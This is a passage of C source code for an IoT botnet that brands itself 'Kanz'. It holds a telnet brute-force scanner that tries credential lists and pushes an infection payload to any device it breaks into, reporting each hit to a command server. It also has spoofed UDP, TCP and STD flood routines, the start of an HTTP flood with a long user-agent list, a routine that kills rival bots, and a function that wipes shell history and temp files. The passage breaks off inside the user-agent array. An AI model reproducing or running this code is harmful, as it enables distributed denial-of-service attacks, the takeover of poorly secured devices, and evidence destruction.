  883. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) {
  884. reset_telstate(&fds[i]);
  885. } else {
  886. advance_state(&fds[i], 1);
  887. }
  888. }
  889. break;
  890. case 1: {
  891. FD_ZERO(&fdset);
  892. FD_SET(fds[i].fd, &fdset);
  893. tv.tv_sec = 0;
  894. tv.tv_usec = wait_usec;
  895. res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  896. if(res == 1) {
  897. lon = sizeof(int);
  898. valopt = 0;
  899. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  900. if(valopt) {
  901. reset_telstate(&fds[i]);
  902. } else {
  903. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  904. advance_state(&fds[i], 2);
  905. }
  906. continue;
  907. }
  908. else if(res == -1) {
  909. reset_telstate(&fds[i]);
  910. continue;
  911. }
  912. if(fds[i].totalTimeout + 5 < time(NULL)) {
  913. reset_telstate(&fds[i]);
  914. }
  915. }
  916. break;
  917. case 2: {
  918. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances)) {
  919. if(contains_fail(fds[i].sockbuf)) {
  920. advance_state(&fds[i], 0);
  921. } else {
  922. advance_state(&fds[i], 3);
  923. }
  924. continue;
  925. }
  926. if(fds[i].totalTimeout + 7 < time(NULL)) {
  927. reset_telstate(&fds[i]);
  928. }
  929. }
  930. break;
  931. case 3: {
  932. if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) {
  933. reset_telstate(&fds[i]);
  934. continue;
  935. }
  936. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  937. reset_telstate(&fds[i]);
  938. continue;
  939. }
  940. advance_state(&fds[i], 4);
  941. }
  942. break;
  943. case 4: {
  944. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances)) {
  945. if(contains_fail(fds[i].sockbuf)) {
  946. advance_state(&fds[i], 0);
  947. } else {
  948. advance_state(&fds[i], 5);
  949. }
  950. continue;
  951. }
  952. if(fds[i].totalTimeout + 3 < time(NULL)) {
  953. reset_telstate(&fds[i]);
  954. }
  955. }
  956. break;
  957. case 5: {
  958. if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) {
  959. reset_telstate(&fds[i]);
  960. continue;
  961. }
  962. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  963. reset_telstate(&fds[i]);
  964. continue;
  965. }
  966. advance_state(&fds[i], 6);
  967. }
  968. break;
  969. case 6: {
  970. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances2)) {
  971. fds[i].totalTimeout = time(NULL);
  972. if(contains_fail(fds[i].sockbuf)) {
  973. advance_state(&fds[i], 0);
  974. }
  975. else if(contains_success(fds[i].sockbuf)) {
  976. if(fds[i].complete == 2) {
  977. advance_state(&fds[i], 7);
  978. } else {
  979. sockprintf(mainCommSock, "\x1b[1;35mKanz ATTEMPT | IP: \x1b[0;37m%s \x1b[1;35m| Username: \x1b[0;37m%s \x1b[1;35m| Password: \x1b[0;37m%s\x1b[0m", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  980. advance_state(&fds[i], 7);
  981. }
  982. } else {
  983. reset_telstate(&fds[i]);
  984. }
  985. continue;
  986. }
  987. if(fds[i].totalTimeout + 7 < time(NULL)) {
  988. reset_telstate(&fds[i]);
  989. }
  990. }
  991. break;
  992. case 7: {
  993. fds[i].totalTimeout = time(NULL);
  994. if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) <0);
  995. if(send(fds[i].fd, "shell\r\n", 7, MSG_NOSIGNAL) < 0);
  996. if(send(fds[i].fd, infect, strlen(infect), MSG_NOSIGNAL) < 0) {
  997. sockprintf(mainCommSock, "\x1b[1;35mKanz SENT | IP: \x1b[0;37m%s \x1b[1;35m| Username: \x1b[0;37m%s \x1b[1;35m| Password: \x1b[0;37m%s\x1b[0m", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  998. reset_telstate(&fds[i]);
  999. continue;
  1000. }
  1001. if(fds[i].totalTimeout + 25 < time(NULL)) {
  1002. sockprintf(mainCommSock, "\x1b[1;35mKanz FAILED | IP: \x1b[0;37m%s \x1b[1;35m| Username: \x1b[0;37m%s \x1b[1;35m| Password: \x1b[0;37m%s\x1b[0m", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1003. if(fds[i].complete !=3){
  1004. sockprintf(mainCommSock, "\x1b[1;35mKanz SUCCESS | IP: \x1b[0;37m%s \x1b[1;35m| Username: \x1b[0;37m%s \x1b[1;35m| Password: \x1b[0;37m%s\x1b[0m", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1005. }
  1006. reset_telstate(&fds[i]);
  1007. }
  1008. break;
  1009. }
  1010. }
  1011. }
  1012. }
  1013. }
  1014. void sendSTD(unsigned char *ip, int port, int secs) {
  1015. int iSTD_Sock;
  1016. iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  1017. time_t start = time(NULL);
  1018. struct sockaddr_in sin;
  1019. struct hostent *hp;
  1020. hp = gethostbyname(ip);
  1021. bzero((char*) &sin,sizeof(sin));
  1022. bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  1023. sin.sin_family = hp->h_addrtype;
  1024. sin.sin_port = port;
  1025. unsigned int a = 0;
  1026. while(1){
  1027. char *randstrings[] = {"arfgG", "HBiug655", "KJYDFyljf754", "LIKUGilkut769458905", "JHFDSkgfc5747694", "GJjyur67458", "RYSDk747586", "HKJGi5r8675", "KHGK7985i", "yuituiILYF", "GKJDghfcjkgd4", "uygtfgtrevf", "tyeuhygbtfvg", "ewqdcftr", "trbazetghhnbrty", "tbhrwsehbg", "twehgbferhb", "etrbhhgetrb", "edfverthbyrtb", "kmiujmnhnhfgn", "zcdbvgdfsbgfd", "gdfbtsdgb", "ghdugffytsdyt", "tgerthgwtrwry", "yteytietyue", "qsortEQS", "8969876hjkghblk", "std", "dts", "lsk", "kek", "smack", "ily", "tyf", "pos", "cunts"};
  1028. char *STD2_STRING = randstrings[rand() % (sizeof(randstrings) / sizeof(char *))];
  1029. if (a >= 50) {
  1030. send(iSTD_Sock, STD2_STRING, STD2_SIZE, 0);
  1031. connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  1032. if (time(NULL) >= start + secs) {
  1033. close(iSTD_Sock);
  1034. _exit(0);
  1035. }
  1036. a = 0;
  1037. }
  1038. a++;
  1039. }
  1040. }
  1041. void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval, int sleepcheck, int sleeptime) {
  1042. struct sockaddr_in dest_addr;
  1043. dest_addr.sin_family = AF_INET;
  1044. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1045. else dest_addr.sin_port = htons(port);
  1046. if(getHost(target, &dest_addr.sin_addr)) return;
  1047. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1048. register unsigned int pollRegister;
  1049. pollRegister = pollinterval;
  1050. if(spoofit == 32) {
  1051. int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  1052. if(!sockfd) {
  1053. sockprintf(mainCommSock, "Failed opening raw socket.");
  1054. return;
  1055. }
  1056. unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  1057. if(buf == NULL) return;
  1058. memset(buf, 0, packetsize + 1);
  1059. makeRandomStr(buf, packetsize);
  1060. int end = time(NULL) + timeEnd;
  1061. register unsigned int i = 0;
  1062. register unsigned int ii = 0;
  1063. while(1) {
  1064. sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1065. if(i == pollRegister) {
  1066. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1067. if(time(NULL) > end) break;
  1068. i = 0;
  1069. continue;
  1070. }
  1071. i++;
  1072. if(ii == sleepcheck) {
  1073. usleep(sleeptime*1000);
  1074. ii = 0;
  1075. continue;
  1076. }
  1077. ii++;
  1078. }
  1079. } else {
  1080. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  1081. if(!sockfd) {
  1082. sockprintf(mainCommSock, "Failed opening raw socket.");
  1083. return;
  1084. }
  1085. int tmp = 1;
  1086. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) {
  1087. sockprintf(mainCommSock, "Failed setting raw headers mode.");
  1088. return;
  1089. }
  1090. int counter = 50;
  1091. while(counter--) {
  1092. srand(time(NULL) ^ rand_cmwc());
  1093. init_rand(rand());
  1094. }
  1095. in_addr_t netmask;
  1096. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1097. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1098. unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  1099. struct iphdr *iph = (struct iphdr *)packet;
  1100. struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  1101. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( GetRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  1102. udph->len = htons(sizeof(struct udphdr) + packetsize);
  1103. udph->source = rand_cmwc();
  1104. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1105. udph->check = 0;
  1106. makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  1107. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1108. int end = time(NULL) + timeEnd;
  1109. register unsigned int i = 0;
  1110. register unsigned int ii = 0;
  1111. while(1) {
  1112. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1113. udph->source = rand_cmwc();
  1114. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1115. iph->id = rand_cmwc();
  1116. iph->saddr = htonl( GetRandomIP(netmask) );
  1117. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1118. if(i == pollRegister) {
  1119. if(time(NULL) > end) break;
  1120. i = 0;
  1121. continue;
  1122. }
  1123. i++;
  1124. if(ii == sleepcheck) {
  1125. usleep(sleeptime*1000);
  1126. ii = 0;
  1127. continue;
  1128. }
  1129. ii++;
  1130. }
  1131. }
  1132. }
  1133. void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval) {
  1134. register unsigned int pollRegister;
  1135. pollRegister = pollinterval;
  1136. struct sockaddr_in dest_addr;
  1137. dest_addr.sin_family = AF_INET;
  1138. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1139. else dest_addr.sin_port = htons(port);
  1140. if(getHost(target, &dest_addr.sin_addr)) return;
  1141. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1142. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  1143. if(!sockfd) {
  1144. sockprintf(mainCommSock, "Failed opening raw socket.");
  1145. return;
  1146. }
  1147. int tmp = 1;
  1148. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) {
  1149. sockprintf(mainCommSock, "Failed setting raw headers mode.");
  1150. return;
  1151. }
  1152. in_addr_t netmask;
  1153. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1154. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1155. unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  1156. struct iphdr *iph = (struct iphdr *)packet;
  1157. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  1158. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( GetRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  1159. tcph->source = rand_cmwc();
  1160. tcph->seq = rand_cmwc();
  1161. tcph->ack_seq = 0;
  1162. tcph->doff = 5;
  1163. if(!strcmp(flags, "all")) {
  1164. tcph->syn = 1;
  1165. tcph->rst = 1;
  1166. tcph->fin = 1;
  1167. tcph->ack = 1;
  1168. tcph->psh = 1;
  1169. } else {
  1170. unsigned char *pch = strtok(flags, ",");
  1171. while(pch) {
  1172. if(!strcmp(pch, "syn")) {
  1173. tcph->syn = 1;
  1174. } else if(!strcmp(pch, "rst")) {
  1175. tcph->rst = 1;
  1176. } else if(!strcmp(pch, "fin")) {
  1177. tcph->fin = 1;
  1178. } else if(!strcmp(pch, "ack")) {
  1179. tcph->ack = 1;
  1180. } else if(!strcmp(pch, "psh")) {
  1181. tcph->psh = 1;
  1182. } else {
  1183. sockprintf(mainCommSock, "Invalid flag \"%s\"", pch);
  1184. }
  1185. pch = strtok(NULL, ",");
  1186. }
  1187. }
  1188. tcph->window = rand_cmwc();
  1189. tcph->check = 0;
  1190. tcph->urg_ptr = 0;
  1191. tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1192. tcph->check = tcpcsum(iph, tcph);
  1193. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1194. int end = time(NULL) + timeEnd;
  1195. register unsigned int i = 0;
  1196. while(1) {
  1197. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1198. iph->saddr = htonl( GetRandomIP(netmask) );
  1199. iph->id = rand_cmwc();
  1200. tcph->seq = rand_cmwc();
  1201. tcph->source = rand_cmwc();
  1202. tcph->check = 0;
  1203. tcph->check = tcpcsum(iph, tcph);
  1204. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1205. if(i == pollRegister) {
  1206. if(time(NULL) > end) break;
  1207. i = 0;
  1208. continue;
  1209. }
  1210. i++;
  1211. }
  1212. }
  1213. void botkiller(){
  1214. int i;
  1215. while(1){
  1216. for(i = 0; i < 9; i++){
  1217. char command[80];
  1218. sprintf(command, "pkill -9 ");
  1219. strcat(command, knownBots[i]);
  1220. system(command);
  1221. sprintf(command, "pkill -9 \"");
  1222. strcat(command, knownBots[i]);
  1223. strcat(command, "\"");
  1224. system(command);
  1225. }
  1226. sleep(5);
  1227. }
  1228. }
  1229. void ClearHistory() {
  1230. system("history -c;history -w");
  1231. system("cd /root;rm -rf .bash_history");
  1232. system("cd /var/tmp; rm -f *");
  1233. }
  1234. void sendHTTP(void *host, char *method, in_port_t port, char *path, int timeFoo, int power) {
  1235. const char *useragents[] = {
  1236. "Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
  1237. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  1238. "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
  1239. "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
  1240. "Opera/6.04 (Windows XP; U) [en]",
  1241. "Opera/9.99 (X11; U; sk)",
  1242. "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
  1243. "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
  1244. "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/2002233 Debian/1.2.9-0.bunk",
  1245. "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
  1246. "Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
  1247. "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
  1248. "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
  1249. "Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1",
  1250. "Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)",
  1251. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4",
  1252. "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  1253. "Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911",
  1254. "Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2",
  1255. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)",
  1256. "Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285",
  1257. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",
  1258. "Mozilla/5.0 (PLAYSTATION 3; 3.55)",
  1259. "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2",
  1260. "wii libnup/1.0",
  1261. "Mozilla/4.0 (PSP (PlayStation Portable); 2.00)",
  1262. "PSP (PlayStation Portable); 2.00",
  1263. "Bunjalloo/0.7.6(Nintendo DS;U;en)",
  1264. "Doris/1.15 [en] (Symbian)",
  1265. "BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  1266. "BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100",
  1267. "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
  1268. "Opera/9.80 (Windows NT 5.1; U;) Presto/2.7.62 Version/11.01",
  1269. "Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62",
  1270. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
  1271. "Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
  1272. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19",
  1273. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57)",
  1274. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; uZardWeb/1.0; Server_JP)",
  1275. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17 Skyfire/2.0",
  1276. "SonyEricssonW800i/R1BD001/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  1277. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
  1278. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20110517 Firefox/5.0 Fennec/5.0",
  1279. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
  1280. "MOT-V300/0B.09.19R MIB/2.2 Profile/MIDP-2.0 Configuration/CLDC-1.0",
  1281. "Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/2011236 Firefox/9.0 Fennec/9.0",
  1282. "Mozilla/5.0 (compatible; Teleca Q7; Brew 3.1.5; U; en) 480X800 LGE VX11000",
  1283. "MOT-L7/08.B7.ACR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  1284. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  1285. "Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
  1286. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  1287. "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
  1288. "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
  1289. "Opera/6.04 (Windows XP; U) [en]",
  1290. "Opera/9.99 (X11; U; sk)",
  1291. "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
  1292. "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
  1293. "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/2002233 Debian/1.2.9-0.bunk",
  1294. "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
  1295. "Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
  1296. "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
  1297. "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
  1298. "Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1",
  1299. "Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)",
  1300. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 "
  1301. "Firefox/3.5.3",
  1302. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 "
  1303. "Firefox/3.5.3 (.NET CLR 3.5.30729)",
  1304. "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) "
  1305. "Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
  1306. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) "
  1307. "Gecko/20090718 Firefox/3.5.1",
  1308. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 "
  1309. "(KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1",
  1310. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; "
  1311. "SLCC2; .NET CLR 2.0.50727; InfoPath.2)",
  1312. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; "
  1313. ".NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR "
  1314. "3.0.30729)",
  1315. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; "
  1316. "Trident/4.0)",
  1317. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; "
  1318. ".NET CLR 2.0.50727; InfoPath.2)",
  1319. "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)",
  1320. "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
  1321. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  1322. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) "
  1323. "Chrome/41.0.2228.0 Safari/537.36",
  1324. "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  1325. "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 "
  1326. "Version/12.16",
  1327. "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like "
  1328. "Gecko",
  1329. "Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0; rv:11.0) "
  1330. "like Gecko",
  1331. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 "
  1332. "(KHTML, like Gecko) Version/7.0.3 Safari/7046A194A"
  1333. "Baiduspider+(+http://www.baidu.com/search/spider.htm)",
  1334. "Mozilla/5.0 (compatible; BecomeBot/3.0; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)",
  1335. "Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)",
  1336. "Mozilla/5.0 (compatible; BeslistBot; nl; BeslistBot 1.0; http://www.beslist.nl/",
  1337. "BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)",
  1338. "zspider/0.9-dev http://feedback.redkolibri.com/",
  1339. "Mozilla/4.0 compatible ZyBorg/1.0 DLC (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  1340. "Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  1341. "Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)",
  1342. "Mozilla/4.0 compatible ZyBorg/1.0 (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  1343. "Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  1344. "Mozilla/4.0 compatible ZyBorg/1.0 (wn-14.zyborg@looksmart.net; http://www.WISEnutbot.com)",
  1345. "Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )",
  1346. "Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://sp.ask.com/docs/about/tech_crawling.html)",
  1347. "Mozilla/2.0 (compatible; Ask Jeeves/Teoma; +http://about.ask.com/en/docs/about/webmasters.shtml)",
  1348. "Mozilla/2.0 (compatible; Ask Jeeves/Teoma)",
  1349. "TerrawizBot/1.0 (+http://www.terrawiz.com/bot.html)",
  1350. "TheSuBot/0.2 (www.thesubot.de)",
  1351. "TheSuBot/0.1 (www.thesubot.de)",
  1352. "FAST-WebCrawler/3.8 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)",
  1353. "FAST-WebCrawler/3.7/FirstPage (atw-crawler at fast dot no;http://fast.no/support/crawler.asp)",
  1354. "FAST-WebCrawler/3.7 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)",
  1355. "FAST-WebCrawler/3.6/FirstPage (atw-crawler at fast dot no;http://fast.no/support/crawler.asp)",
  1356. "FAST-WebCrawler/3.6 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)",
  1357. "FAST-WebCrawler/3.x Multimedia",
  1358. "Mozilla/4.0 (compatible: FDSE robot)",
  1359. "findlinks/2.0.1 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  1360. "findlinks/1.1.6-beta6 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  1361. "findlinks/1.1.6-beta4 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  1362. "findlinks/1.1.6-beta1 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  1363. "findlinks/1.1.5-beta7 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  1364. "Mozilla/5.0 (Windows; U; WinNT; en; rv:1.0.2) Gecko/20030311 Beonex/0.8.2-stable",
  1365. "Mozilla/5.0 (Windows; U; WinNT; en; Preview) Gecko/20020603 Beonex/0.8-stable",
  1366. "Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2 (Debian-1.99+2.0b2+dfsg-1)",
  1367. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2",
  1368. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b2) Gecko/20060826 BonEcho/2.0b2",
  1369. "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1b2) Gecko/20060831 BonEcho/2.0b2",
  1370. "Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1b1) Gecko/20060601 BonEcho/2.0b1 (Ubuntu-edgy)",
  1371. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a3) Gecko/20060526 BonEcho/2.0a3",
  1372. "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  1373. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  1374. "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  1375. "AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)",
  1376. "AppEngine-Google; (+http://code.google.com/appengine; appid: unblock4myspace)"
  1377. "AppEngine-Google; (+http://code.google.com/appengine; appid: tunisproxy)",
